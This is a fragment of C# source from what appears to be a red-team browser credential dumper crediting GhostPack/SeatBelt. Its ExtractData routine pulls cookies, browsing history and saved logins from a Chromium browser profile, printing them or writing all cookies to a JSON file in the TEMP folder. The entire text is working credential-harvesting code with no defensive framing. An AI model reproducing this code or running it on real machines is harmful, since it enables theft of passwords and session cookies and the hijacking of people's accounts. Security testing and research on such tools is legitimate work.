public HistoricUrl(DataRow row, HostCookies[] cookies) { Url = row["url"].ToString(); Title = row["title"].ToString(); int.TryParse(row["visit_count"].ToString(), out VisitCount); Cookies = HostCookies.FilterHostCookies(cookies, Url); }
static void ExtractData(string path, string browser) { ChromiumCredentialManager chromeManager = new ChromiumCredentialManager(path); // Main loop, path parsing and high integrity check taken from GhostPack/SeatBelt string[] domainArray = domains.ToArray(); try { if (getCookies) { var cookies = chromeManager.GetCookies(); if (domainArray != null && domainArray.Length > 0) { foreach (var domain in domainArray) { var subCookies = HostCookies.FilterHostCookies(cookies, domain); subCookies.Print(); } } else { string totalResults = ""; foreach (var cookie in cookies) { string jsonArray = cookie.ToJSON(); string jsonItems = jsonArray.Trim(new char[] { '[', ']', '\n' }); totalResults += jsonItems + ",\n"; // cookie.Print(); } totalResults = totalResults.Trim(new char[] { ',', '\n' }); totalResults = "[" + totalResults + "]"; string filePath = Environment.GetEnvironmentVariable("TEMP") + string.Format("\\{0}-cookies.json", browser.ToLower().Replace(" ", "-")); try { File.WriteAllText(filePath, totalResults); Console.WriteLine("\n[*] All cookies written to {0}", filePath); } catch (Exception ex) { Console.WriteLine("[X] Exception occurred while writing cookies to file: {0}\n{1}", ex.Message, ex.StackTrace); } } } if (getHistory) { var history = chromeManager.GetHistory(); foreach (var item in history) { item.Print(); } } if (getLogins) { var logins = chromeManager.GetSavedLogins(); foreach (var login in logins) { login.Print(); } } } catch (Exception ex) { Console.WriteLine("[X] Exception: {0}\n\n{1}", ex.Message, ex.StackTrace); } }